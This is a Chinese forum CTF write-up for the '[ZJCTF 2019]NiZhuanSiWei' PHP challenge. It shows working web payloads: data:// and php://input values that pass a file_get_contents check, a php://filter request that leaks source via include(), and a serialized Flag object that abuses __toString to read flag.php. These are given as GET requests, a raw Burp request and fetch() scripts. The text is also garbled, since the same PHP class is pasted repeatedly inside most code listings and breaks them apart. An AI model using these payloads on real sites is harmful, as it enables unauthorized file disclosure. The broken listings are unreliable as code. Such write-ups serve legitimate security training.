找回密码
 立即注册
首页 业界区 业界 [ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

麓吆 昨天 12:39
00.搭环境

写wp的时候,buu靶场暂时访问不了,因此我们根据题目所给的链接,用docker自己搭起来
  1. docker-compose up -d<?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  <?php  
  14. class Flag{  //flag.php  
  15.     public $file;  
  16.     public function __tostring(){  
  17.         if(isset($this->file)){  
  18.             echo file_get_contents($this->file);
  19.             echo "
  20. ";
  21.         return ("U R SO CLOSE !///COME ON PLZ");
  22.         }  
  23.     }  
  24. }  
  25. ?>  <?php  
  26. class Flag{  //flag.php  
  27.     public $file;  
  28.     public function __tostring(){  
  29.         if(isset($this->file)){  
  30.             echo file_get_contents($this->file);
  31.             echo "
  32. ";
  33.         return ("U R SO CLOSE !///COME ON PLZ");
  34.         }  
  35.     }  
  36. }  
  37. ?>  <?php  
  38. class Flag{  //flag.php  
  39.     public $file;  
  40.     public function __tostring(){  
  41.         if(isset($this->file)){  
  42.             echo file_get_contents($this->file);
  43.             echo "
  44. ";
  45.         return ("U R SO CLOSE !///COME ON PLZ");
  46.         }  
  47.     }  
  48. }  
  49. ?>  <?php  
  50. class Flag{  //flag.php  
  51.     public $file;  
  52.     public function __tostring(){  
  53.         if(isset($this->file)){  
  54.             echo file_get_contents($this->file);
  55.             echo "
  56. ";
  57.         return ("U R SO CLOSE !///COME ON PLZ");
  58.         }  
  59.     }  
  60. }  
  61. ?>  <?php  
  62. class Flag{  //flag.php  
  63.     public $file;  
  64.     public function __tostring(){  
  65.         if(isset($this->file)){  
  66.             echo file_get_contents($this->file);
  67.             echo "
  68. ";
  69.         return ("U R SO CLOSE !///COME ON PLZ");
  70.         }  
  71.     }  
  72. }  
  73. ?>  <?php  
  74. class Flag{  //flag.php  
  75.     public $file;  
  76.     public function __tostring(){  
  77.         if(isset($this->file)){  
  78.             echo file_get_contents($this->file);
  79.             echo "
  80. ";
  81.         return ("U R SO CLOSE !///COME ON PLZ");
  82.         }  
  83.     }  
  84. }  
  85. ?>  <?php  
  86. class Flag{  //flag.php  
  87.     public $file;  
  88.     public function __tostring(){  
  89.         if(isset($this->file)){  
  90.             echo file_get_contents($this->file);
  91.             echo "
  92. ";
  93.         return ("U R SO CLOSE !///COME ON PLZ");
  94.         }  
  95.     }  
  96. }  
  97. ?>  <?php  
  98. class Flag{  //flag.php  
  99.     public $file;  
  100.     public function __tostring(){  
  101.         if(isset($this->file)){  
  102.             echo file_get_contents($this->file);
  103.             echo "
  104. ";
  105.         return ("U R SO CLOSE !///COME ON PLZ");
  106.         }  
  107.     }  
  108. }  
  109. ?>   //docker先搭起来
  110. http://192.168.155.1:8302/                                                //ipconfig查看自己的IPv4 地址ip,都可以,192开头也行       
复制代码
访问靶场地址
可以看到源代码,我们copy下来分析一下
  1. [/code][size=5]01. 伪协议任意文件读取[/size]
  2. 这道题一共设置了三个Get参数,没有任何过滤。
  3. [code]$text = $_GET["text"];
  4. $file = $_GET["file"];
  5. $password = $_GET["password"];
  6. if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
复制代码
先看第一个text参数的作用,我们需要让text参数不为空isset($text),并且要使file_get_contents($text,'r')读取的内容为welcome to the zjctf字符串,这样,我们就能进入第一层if循环,且用html样式输出h1标签的welcome to the zjctf,代码如下,
  1. echo "
  2. <h1>".file_get_contents($text,'r')."</h1></br>";
复制代码
file_get_contents这个函数是读取文件内容的,怎么使他等于我们想要的字符串呢?这里的话,就需要用到伪协议绕过php://input,我们这里构造请求:
:::info
Get请求: ?text=php://input
Post请求:welcome to the zjctf
:::
这样,file_get_contents就会从 POST 输入流中读取数据,从而绕过第一层检测。
emm,,但是不出意外的话,就出意外了,并没有h1高亮显示welcome to the zjctf,没有反应,

于是这里我们换一种方式,用data://协议,直接Get请求
  1. d2VsY29tZSB0byB0aGUgempjdGY=<?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  <?php  
  14. class Flag{  //flag.php  
  15.     public $file;  
  16.     public function __tostring(){  
  17.         if(isset($this->file)){  
  18.             echo file_get_contents($this->file);
  19.             echo "
  20. ";
  21.         return ("U R SO CLOSE !///COME ON PLZ");
  22.         }  
  23.     }  
  24. }  
  25. ?>          //welcome to the zjctf ----<?php  
  26. class Flag{  //flag.php  
  27.     public $file;  
  28.     public function __tostring(){  
  29.         if(isset($this->file)){  
  30.             echo file_get_contents($this->file);
  31.             echo "
  32. ";
  33.         return ("U R SO CLOSE !///COME ON PLZ");
  34.         }  
  35.     }  
  36. }  
  37. ?>  base64编码
  38. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
复制代码
结果如下,成功h1高亮显示welcome to the zjctf。
后续:我测试了在控制台上发包,确实是能成功返回的,但是不知道为什么用hackbar就是不行,如下为javaScript发包代码(控制台)
  1. fetch('http://192.168.155.1:8302/?text=php://input', {
  2. <?php  
  3. class Flag{  //flag.php  
  4.     public $file;  
  5.     public function __tostring(){  
  6.         if(isset($this->file)){  
  7.             echo file_get_contents($this->file);
  8.             echo "
  9. ";
  10.         return ("U R SO CLOSE !///COME ON PLZ");
  11.         }  
  12.     }  
  13. }  
  14. ?>  method: 'POST',
  15. <?php  
  16. class Flag{  //flag.php  
  17.     public $file;  
  18.     public function __tostring(){  
  19.         if(isset($this->file)){  
  20.             echo file_get_contents($this->file);
  21.             echo "
  22. ";
  23.         return ("U R SO CLOSE !///COME ON PLZ");
  24.         }  
  25.     }  
  26. }  
  27. ?>  body: 'welcome to the zjctf',
  28. <?php  
  29. class Flag{  //flag.php  
  30.     public $file;  
  31.     public function __tostring(){  
  32.         if(isset($this->file)){  
  33.             echo file_get_contents($this->file);
  34.             echo "
  35. ";
  36.         return ("U R SO CLOSE !///COME ON PLZ");
  37.         }  
  38.     }  
  39. }  
  40. ?>  headers: {
  41. <?php  
  42. class Flag{  //flag.php  
  43.     public $file;  
  44.     public function __tostring(){  
  45.         if(isset($this->file)){  
  46.             echo file_get_contents($this->file);
  47.             echo "
  48. ";
  49.         return ("U R SO CLOSE !///COME ON PLZ");
  50.         }  
  51.     }  
  52. }  
  53. ?>  <?php  
  54. class Flag{  //flag.php  
  55.     public $file;  
  56.     public function __tostring(){  
  57.         if(isset($this->file)){  
  58.             echo file_get_contents($this->file);
  59.             echo "
  60. ";
  61.         return ("U R SO CLOSE !///COME ON PLZ");
  62.         }  
  63.     }  
  64. }  
  65. ?>  'Content-Type': 'application/x-www-form-urlencoded'
  66. <?php  
  67. class Flag{  //flag.php  
  68.     public $file;  
  69.     public function __tostring(){  
  70.         if(isset($this->file)){  
  71.             echo file_get_contents($this->file);
  72.             echo "
  73. ";
  74.         return ("U R SO CLOSE !///COME ON PLZ");
  75.         }  
  76.     }  
  77. }  
  78. ?>  }
  79. }).then(res => res.text()).then(data => console.log(data));
复制代码
同理,在burp上也是可以的
02. 文件包含 + 反序列化

现在我们接着往下走,我们现在就是要利用这个include文件包含操作,去包含文件,虽然他直接限制了flag文件,防止我们直接包含flag.php,但并没有过滤其他文件。那我们可以按照题目提示,先包含useless.php看看这个是什么文件,看文件名,猜测涉及序列化操作
  1. if(preg_match("/flag/",$file)){
  2. <?php  
  3. class Flag{  //flag.php  
  4.     public $file;  
  5.     public function __tostring(){  
  6.         if(isset($this->file)){  
  7.             echo file_get_contents($this->file);
  8.             echo "
  9. ";
  10.         return ("U R SO CLOSE !///COME ON PLZ");
  11.         }  
  12.     }  
  13. }  
  14. ?>  <?php  
  15. class Flag{  //flag.php  
  16.     public $file;  
  17.     public function __tostring(){  
  18.         if(isset($this->file)){  
  19.             echo file_get_contents($this->file);
  20.             echo "
  21. ";
  22.         return ("U R SO CLOSE !///COME ON PLZ");
  23.         }  
  24.     }  
  25. }  
  26. ?>  <?php  
  27. class Flag{  //flag.php  
  28.     public $file;  
  29.     public function __tostring(){  
  30.         if(isset($this->file)){  
  31.             echo file_get_contents($this->file);
  32.             echo "
  33. ";
  34.         return ("U R SO CLOSE !///COME ON PLZ");
  35.         }  
  36.     }  
  37. }  
  38. ?>  <?php  
  39. class Flag{  //flag.php  
  40.     public $file;  
  41.     public function __tostring(){  
  42.         if(isset($this->file)){  
  43.             echo file_get_contents($this->file);
  44.             echo "
  45. ";
  46.         return ("U R SO CLOSE !///COME ON PLZ");
  47.         }  
  48.     }  
  49. }  
  50. ?>  echo "Not now!";
  51. <?php  
  52. class Flag{  //flag.php  
  53.     public $file;  
  54.     public function __tostring(){  
  55.         if(isset($this->file)){  
  56.             echo file_get_contents($this->file);
  57.             echo "
  58. ";
  59.         return ("U R SO CLOSE !///COME ON PLZ");
  60.         }  
  61.     }  
  62. }  
  63. ?>  <?php  
  64. class Flag{  //flag.php  
  65.     public $file;  
  66.     public function __tostring(){  
  67.         if(isset($this->file)){  
  68.             echo file_get_contents($this->file);
  69.             echo "
  70. ";
  71.         return ("U R SO CLOSE !///COME ON PLZ");
  72.         }  
  73.     }  
  74. }  
  75. ?>  <?php  
  76. class Flag{  //flag.php  
  77.     public $file;  
  78.     public function __tostring(){  
  79.         if(isset($this->file)){  
  80.             echo file_get_contents($this->file);
  81.             echo "
  82. ";
  83.         return ("U R SO CLOSE !///COME ON PLZ");
  84.         }  
  85.     }  
  86. }  
  87. ?>  <?php  
  88. class Flag{  //flag.php  
  89.     public $file;  
  90.     public function __tostring(){  
  91.         if(isset($this->file)){  
  92.             echo file_get_contents($this->file);
  93.             echo "
  94. ";
  95.         return ("U R SO CLOSE !///COME ON PLZ");
  96.         }  
  97.     }  
  98. }  
  99. ?>  exit();
  100. <?php  
  101. class Flag{  //flag.php  
  102.     public $file;  
  103.     public function __tostring(){  
  104.         if(isset($this->file)){  
  105.             echo file_get_contents($this->file);
  106.             echo "
  107. ";
  108.         return ("U R SO CLOSE !///COME ON PLZ");
  109.         }  
  110.     }  
  111. }  
  112. ?>  <?php  
  113. class Flag{  //flag.php  
  114.     public $file;  
  115.     public function __tostring(){  
  116.         if(isset($this->file)){  
  117.             echo file_get_contents($this->file);
  118.             echo "
  119. ";
  120.         return ("U R SO CLOSE !///COME ON PLZ");
  121.         }  
  122.     }  
  123. }  
  124. ?>  }else{
  125. <?php  
  126. class Flag{  //flag.php  
  127.     public $file;  
  128.     public function __tostring(){  
  129.         if(isset($this->file)){  
  130.             echo file_get_contents($this->file);
  131.             echo "
  132. ";
  133.         return ("U R SO CLOSE !///COME ON PLZ");
  134.         }  
  135.     }  
  136. }  
  137. ?>  <?php  
  138. class Flag{  //flag.php  
  139.     public $file;  
  140.     public function __tostring(){  
  141.         if(isset($this->file)){  
  142.             echo file_get_contents($this->file);
  143.             echo "
  144. ";
  145.         return ("U R SO CLOSE !///COME ON PLZ");
  146.         }  
  147.     }  
  148. }  
  149. ?>  <?php  
  150. class Flag{  //flag.php  
  151.     public $file;  
  152.     public function __tostring(){  
  153.         if(isset($this->file)){  
  154.             echo file_get_contents($this->file);
  155.             echo "
  156. ";
  157.         return ("U R SO CLOSE !///COME ON PLZ");
  158.         }  
  159.     }  
  160. }  
  161. ?>  <?php  
  162. class Flag{  //flag.php  
  163.     public $file;  
  164.     public function __tostring(){  
  165.         if(isset($this->file)){  
  166.             echo file_get_contents($this->file);
  167.             echo "
  168. ";
  169.         return ("U R SO CLOSE !///COME ON PLZ");
  170.         }  
  171.     }  
  172. }  
  173. ?>  include($file);<?php  
  174. class Flag{  //flag.php  
  175.     public $file;  
  176.     public function __tostring(){  
  177.         if(isset($this->file)){  
  178.             echo file_get_contents($this->file);
  179.             echo "
  180. ";
  181.         return ("U R SO CLOSE !///COME ON PLZ");
  182.         }  
  183.     }  
  184. }  
  185. ?>  //useless.php
  186. <?php  
  187. class Flag{  //flag.php  
  188.     public $file;  
  189.     public function __tostring(){  
  190.         if(isset($this->file)){  
  191.             echo file_get_contents($this->file);
  192.             echo "
  193. ";
  194.         return ("U R SO CLOSE !///COME ON PLZ");
  195.         }  
  196.     }  
  197. }  
  198. ?>  <?php  
  199. class Flag{  //flag.php  
  200.     public $file;  
  201.     public function __tostring(){  
  202.         if(isset($this->file)){  
  203.             echo file_get_contents($this->file);
  204.             echo "
  205. ";
  206.         return ("U R SO CLOSE !///COME ON PLZ");
  207.         }  
  208.     }  
  209. }  
  210. ?>  <?php  
  211. class Flag{  //flag.php  
  212.     public $file;  
  213.     public function __tostring(){  
  214.         if(isset($this->file)){  
  215.             echo file_get_contents($this->file);
  216.             echo "
  217. ";
  218.         return ("U R SO CLOSE !///COME ON PLZ");
  219.         }  
  220.     }  
  221. }  
  222. ?>  <?php  
  223. class Flag{  //flag.php  
  224.     public $file;  
  225.     public function __tostring(){  
  226.         if(isset($this->file)){  
  227.             echo file_get_contents($this->file);
  228.             echo "
  229. ";
  230.         return ("U R SO CLOSE !///COME ON PLZ");
  231.         }  
  232.     }  
  233. }  
  234. ?>  $password = unserialize($password);
  235. <?php  
  236. class Flag{  //flag.php  
  237.     public $file;  
  238.     public function __tostring(){  
  239.         if(isset($this->file)){  
  240.             echo file_get_contents($this->file);
  241.             echo "
  242. ";
  243.         return ("U R SO CLOSE !///COME ON PLZ");
  244.         }  
  245.     }  
  246. }  
  247. ?>  <?php  
  248. class Flag{  //flag.php  
  249.     public $file;  
  250.     public function __tostring(){  
  251.         if(isset($this->file)){  
  252.             echo file_get_contents($this->file);
  253.             echo "
  254. ";
  255.         return ("U R SO CLOSE !///COME ON PLZ");
  256.         }  
  257.     }  
  258. }  
  259. ?>  <?php  
  260. class Flag{  //flag.php  
  261.     public $file;  
  262.     public function __tostring(){  
  263.         if(isset($this->file)){  
  264.             echo file_get_contents($this->file);
  265.             echo "
  266. ";
  267.         return ("U R SO CLOSE !///COME ON PLZ");
  268.         }  
  269.     }  
  270. }  
  271. ?>  <?php  
  272. class Flag{  //flag.php  
  273.     public $file;  
  274.     public function __tostring(){  
  275.         if(isset($this->file)){  
  276.             echo file_get_contents($this->file);
  277.             echo "
  278. ";
  279.         return ("U R SO CLOSE !///COME ON PLZ");
  280.         }  
  281.     }  
  282. }  
  283. ?>  echo $password;
  284. <?php  
  285. class Flag{  //flag.php  
  286.     public $file;  
  287.     public function __tostring(){  
  288.         if(isset($this->file)){  
  289.             echo file_get_contents($this->file);
  290.             echo "
  291. ";
  292.         return ("U R SO CLOSE !///COME ON PLZ");
  293.         }  
  294.     }  
  295. }  
  296. ?>  <?php  
  297. class Flag{  //flag.php  
  298.     public $file;  
  299.     public function __tostring(){  
  300.         if(isset($this->file)){  
  301.             echo file_get_contents($this->file);
  302.             echo "
  303. ";
  304.         return ("U R SO CLOSE !///COME ON PLZ");
  305.         }  
  306.     }  
  307. }  
  308. ?>  }
  309. }
复制代码
它包含get参数file,那我们的paylaod如下(利用伪协议php://filter):
  1. file=php://filter/read=convert.base64-encode/resource=useless.php
复制代码
使用burp返回包如下,
,如果用hackbar的话,直接用只涉及get请求的payload:
  1. ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
复制代码
会返回一串base64编码的结果,我们解码之后copy下来:

useless.php文件内容如下
  1. <?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  
复制代码
这里的Flag类用到了魔术方法__tostring,还用到了file_get_contents,并且属性$file是我们可控的,那这里我们就可以去构造一个属性$file等于flag.php,并且将它做序列化操作,并将序列化后的数据参数传递给password,(注意参数file需要包含useless.php)我们可以看到,在index里面,$password是会进行反序列化操作的,服务器将我们的反序列化的paylaod数据重新反序列化为一个对象,在之后,进行了echo $password操作,此时由于$password是对象,将对象当做字符串处理会自动触发Flag类里的__tostring魔术方法,从而导致执行echo file_get_contents($this->file);,而此时的$file属性已经是被我们修改后的flag.php,file_get_contents函数就会去执行文件读取操作,去读取flag.php的内容,从而输出flag
  1. <?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  <?php  
  14. class Flag{  //flag.php  
  15.     public $file;  
  16.     public function __tostring(){  
  17.         if(isset($this->file)){  
  18.             echo file_get_contents($this->file);
  19.             echo "
  20. ";
  21.         return ("U R SO CLOSE !///COME ON PLZ");
  22.         }  
  23.     }  
  24. }  
  25. ?>  }else{<?php  
  26. class Flag{  //flag.php  
  27.     public $file;  
  28.     public function __tostring(){  
  29.         if(isset($this->file)){  
  30.             echo file_get_contents($this->file);
  31.             echo "
  32. ";
  33.         return ("U R SO CLOSE !///COME ON PLZ");
  34.         }  
  35.     }  
  36. }  
  37. ?>  <?php  
  38. class Flag{  //flag.php  
  39.     public $file;  
  40.     public function __tostring(){  
  41.         if(isset($this->file)){  
  42.             echo file_get_contents($this->file);
  43.             echo "
  44. ";
  45.         return ("U R SO CLOSE !///COME ON PLZ");
  46.         }  
  47.     }  
  48. }  
  49. ?>  <?php  
  50. class Flag{  //flag.php  
  51.     public $file;  
  52.     public function __tostring(){  
  53.         if(isset($this->file)){  
  54.             echo file_get_contents($this->file);
  55.             echo "
  56. ";
  57.         return ("U R SO CLOSE !///COME ON PLZ");
  58.         }  
  59.     }  
  60. }  
  61. ?>  <?php  
  62. class Flag{  //flag.php  
  63.     public $file;  
  64.     public function __tostring(){  
  65.         if(isset($this->file)){  
  66.             echo file_get_contents($this->file);
  67.             echo "
  68. ";
  69.         return ("U R SO CLOSE !///COME ON PLZ");
  70.         }  
  71.     }  
  72. }  
  73. ?>  include($file);<?php  
  74. class Flag{  //flag.php  
  75.     public $file;  
  76.     public function __tostring(){  
  77.         if(isset($this->file)){  
  78.             echo file_get_contents($this->file);
  79.             echo "
  80. ";
  81.         return ("U R SO CLOSE !///COME ON PLZ");
  82.         }  
  83.     }  
  84. }  
  85. ?>  //useless.php<?php  
  86. class Flag{  //flag.php  
  87.     public $file;  
  88.     public function __tostring(){  
  89.         if(isset($this->file)){  
  90.             echo file_get_contents($this->file);
  91.             echo "
  92. ";
  93.         return ("U R SO CLOSE !///COME ON PLZ");
  94.         }  
  95.     }  
  96. }  
  97. ?>  <?php  
  98. class Flag{  //flag.php  
  99.     public $file;  
  100.     public function __tostring(){  
  101.         if(isset($this->file)){  
  102.             echo file_get_contents($this->file);
  103.             echo "
  104. ";
  105.         return ("U R SO CLOSE !///COME ON PLZ");
  106.         }  
  107.     }  
  108. }  
  109. ?>  <?php  
  110. class Flag{  //flag.php  
  111.     public $file;  
  112.     public function __tostring(){  
  113.         if(isset($this->file)){  
  114.             echo file_get_contents($this->file);
  115.             echo "
  116. ";
  117.         return ("U R SO CLOSE !///COME ON PLZ");
  118.         }  
  119.     }  
  120. }  
  121. ?>  <?php  
  122. class Flag{  //flag.php  
  123.     public $file;  
  124.     public function __tostring(){  
  125.         if(isset($this->file)){  
  126.             echo file_get_contents($this->file);
  127.             echo "
  128. ";
  129.         return ("U R SO CLOSE !///COME ON PLZ");
  130.         }  
  131.     }  
  132. }  
  133. ?>  $password = unserialize($password);<?php  
  134. class Flag{  //flag.php  
  135.     public $file;  
  136.     public function __tostring(){  
  137.         if(isset($this->file)){  
  138.             echo file_get_contents($this->file);
  139.             echo "
  140. ";
  141.         return ("U R SO CLOSE !///COME ON PLZ");
  142.         }  
  143.     }  
  144. }  
  145. ?>  <?php  
  146. class Flag{  //flag.php  
  147.     public $file;  
  148.     public function __tostring(){  
  149.         if(isset($this->file)){  
  150.             echo file_get_contents($this->file);
  151.             echo "
  152. ";
  153.         return ("U R SO CLOSE !///COME ON PLZ");
  154.         }  
  155.     }  
  156. }  
  157. ?>  <?php  
  158. class Flag{  //flag.php  
  159.     public $file;  
  160.     public function __tostring(){  
  161.         if(isset($this->file)){  
  162.             echo file_get_contents($this->file);
  163.             echo "
  164. ";
  165.         return ("U R SO CLOSE !///COME ON PLZ");
  166.         }  
  167.     }  
  168. }  
  169. ?>  <?php  
  170. class Flag{  //flag.php  
  171.     public $file;  
  172.     public function __tostring(){  
  173.         if(isset($this->file)){  
  174.             echo file_get_contents($this->file);
  175.             echo "
  176. ";
  177.         return ("U R SO CLOSE !///COME ON PLZ");
  178.         }  
  179.     }  
  180. }  
  181. ?>  echo $password;<?php  
  182. class Flag{  //flag.php  
  183.     public $file;  
  184.     public function __tostring(){  
  185.         if(isset($this->file)){  
  186.             echo file_get_contents($this->file);
  187.             echo "
  188. ";
  189.         return ("U R SO CLOSE !///COME ON PLZ");
  190.         }  
  191.     }  
  192. }  
  193. ?>  <?php  
  194. class Flag{  //flag.php  
  195.     public $file;  
  196.     public function __tostring(){  
  197.         if(isset($this->file)){  
  198.             echo file_get_contents($this->file);
  199.             echo "
  200. ";
  201.         return ("U R SO CLOSE !///COME ON PLZ");
  202.         }  
  203.     }  
  204. }  
  205. ?>  }}
复制代码
根据提示,我们去读取flag.php,
  1. [/code]输出
  2. [code]O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
复制代码
payload如下
  1. POST /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1
  2. Host: 192.168.45.1:8302
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
  9. Connection: close
  10. Content-Length: 20
  11. welcome to the zjctf
复制代码
或者
  1. /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
复制代码
flag在注释中,需要看源代码
流程图如下:
最开始解题时的控制台js代码:
绕if
  1. fetch('http://9a71c521-6c7a-4823-b0e7-c7145398cafe.node5.buuoj.cn:81/?text=php://input', {<?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  method: 'POST',<?php  
  14. class Flag{  //flag.php  
  15.     public $file;  
  16.     public function __tostring(){  
  17.         if(isset($this->file)){  
  18.             echo file_get_contents($this->file);
  19.             echo "
  20. ";
  21.         return ("U R SO CLOSE !///COME ON PLZ");
  22.         }  
  23.     }  
  24. }  
  25. ?>  body: 'welcome to the zjctf',<?php  
  26. class Flag{  //flag.php  
  27.     public $file;  
  28.     public function __tostring(){  
  29.         if(isset($this->file)){  
  30.             echo file_get_contents($this->file);
  31.             echo "
  32. ";
  33.         return ("U R SO CLOSE !///COME ON PLZ");
  34.         }  
  35.     }  
  36. }  
  37. ?>  headers: {<?php  
  38. class Flag{  //flag.php  
  39.     public $file;  
  40.     public function __tostring(){  
  41.         if(isset($this->file)){  
  42.             echo file_get_contents($this->file);
  43.             echo "
  44. ";
  45.         return ("U R SO CLOSE !///COME ON PLZ");
  46.         }  
  47.     }  
  48. }  
  49. ?>  <?php  
  50. class Flag{  //flag.php  
  51.     public $file;  
  52.     public function __tostring(){  
  53.         if(isset($this->file)){  
  54.             echo file_get_contents($this->file);
  55.             echo "
  56. ";
  57.         return ("U R SO CLOSE !///COME ON PLZ");
  58.         }  
  59.     }  
  60. }  
  61. ?>  'Content-Type': 'application/x-www-form-urlencoded'<?php  
  62. class Flag{  //flag.php  
  63.     public $file;  
  64.     public function __tostring(){  
  65.         if(isset($this->file)){  
  66.             echo file_get_contents($this->file);
  67.             echo "
  68. ";
  69.         return ("U R SO CLOSE !///COME ON PLZ");
  70.         }  
  71.     }  
  72. }  
  73. ?>  }}).then(res => res.text()).then(data => console.log(data));
复制代码
读useless.php
  1. fetch('http://9a71c521-6c7a-4823-b0e7-c7145398cafe.node5.buuoj.cn:81/?text=php://input&file=php://filter/convert.base64-encode/resource=useless.php', {<?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  method: 'POST',<?php  
  14. class Flag{  //flag.php  
  15.     public $file;  
  16.     public function __tostring(){  
  17.         if(isset($this->file)){  
  18.             echo file_get_contents($this->file);
  19.             echo "
  20. ";
  21.         return ("U R SO CLOSE !///COME ON PLZ");
  22.         }  
  23.     }  
  24. }  
  25. ?>  body: 'welcome to the zjctf',<?php  
  26. class Flag{  //flag.php  
  27.     public $file;  
  28.     public function __tostring(){  
  29.         if(isset($this->file)){  
  30.             echo file_get_contents($this->file);
  31.             echo "
  32. ";
  33.         return ("U R SO CLOSE !///COME ON PLZ");
  34.         }  
  35.     }  
  36. }  
  37. ?>  headers: {<?php  
  38. class Flag{  //flag.php  
  39.     public $file;  
  40.     public function __tostring(){  
  41.         if(isset($this->file)){  
  42.             echo file_get_contents($this->file);
  43.             echo "
  44. ";
  45.         return ("U R SO CLOSE !///COME ON PLZ");
  46.         }  
  47.     }  
  48. }  
  49. ?>  <?php  
  50. class Flag{  //flag.php  
  51.     public $file;  
  52.     public function __tostring(){  
  53.         if(isset($this->file)){  
  54.             echo file_get_contents($this->file);
  55.             echo "
  56. ";
  57.         return ("U R SO CLOSE !///COME ON PLZ");
  58.         }  
  59.     }  
  60. }  
  61. ?>  'Content-Type': 'application/x-www-form-urlencoded'<?php  
  62. class Flag{  //flag.php  
  63.     public $file;  
  64.     public function __tostring(){  
  65.         if(isset($this->file)){  
  66.             echo file_get_contents($this->file);
  67.             echo "
  68. ";
  69.         return ("U R SO CLOSE !///COME ON PLZ");
  70.         }  
  71.     }  
  72. }  
  73. ?>  }}).then(res => res.text()).then(data => console.log(data));
复制代码
反序列化拿flag.php
  1. fetch('http://9a71c521-6c7a-4823-b0e7-c7145398cafe.node5.buuoj.cn:81/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}', {<?php  
  2. class Flag{  //flag.php  
  3.     public $file;  
  4.     public function __tostring(){  
  5.         if(isset($this->file)){  
  6.             echo file_get_contents($this->file);
  7.             echo "
  8. ";
  9.         return ("U R SO CLOSE !///COME ON PLZ");
  10.         }  
  11.     }  
  12. }  
  13. ?>  method: 'POST',<?php  
  14. class Flag{  //flag.php  
  15.     public $file;  
  16.     public function __tostring(){  
  17.         if(isset($this->file)){  
  18.             echo file_get_contents($this->file);
  19.             echo "
  20. ";
  21.         return ("U R SO CLOSE !///COME ON PLZ");
  22.         }  
  23.     }  
  24. }  
  25. ?>  body: 'welcome to the zjctf',<?php  
  26. class Flag{  //flag.php  
  27.     public $file;  
  28.     public function __tostring(){  
  29.         if(isset($this->file)){  
  30.             echo file_get_contents($this->file);
  31.             echo "
  32. ";
  33.         return ("U R SO CLOSE !///COME ON PLZ");
  34.         }  
  35.     }  
  36. }  
  37. ?>  headers: {<?php  
  38. class Flag{  //flag.php  
  39.     public $file;  
  40.     public function __tostring(){  
  41.         if(isset($this->file)){  
  42.             echo file_get_contents($this->file);
  43.             echo "
  44. ";
  45.         return ("U R SO CLOSE !///COME ON PLZ");
  46.         }  
  47.     }  
  48. }  
  49. ?>  <?php  
  50. class Flag{  //flag.php  
  51.     public $file;  
  52.     public function __tostring(){  
  53.         if(isset($this->file)){  
  54.             echo file_get_contents($this->file);
  55.             echo "
  56. ";
  57.         return ("U R SO CLOSE !///COME ON PLZ");
  58.         }  
  59.     }  
  60. }  
  61. ?>  'Content-Type': 'application/x-www-form-urlencoded'<?php  
  62. class Flag{  //flag.php  
  63.     public $file;  
  64.     public function __tostring(){  
  65.         if(isset($this->file)){  
  66.             echo file_get_contents($this->file);
  67.             echo "
  68. ";
  69.         return ("U R SO CLOSE !///COME ON PLZ");
  70.         }  
  71.     }  
  72. }  
  73. ?>  }}).then(res => res.text()).then(data => console.log(data));
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册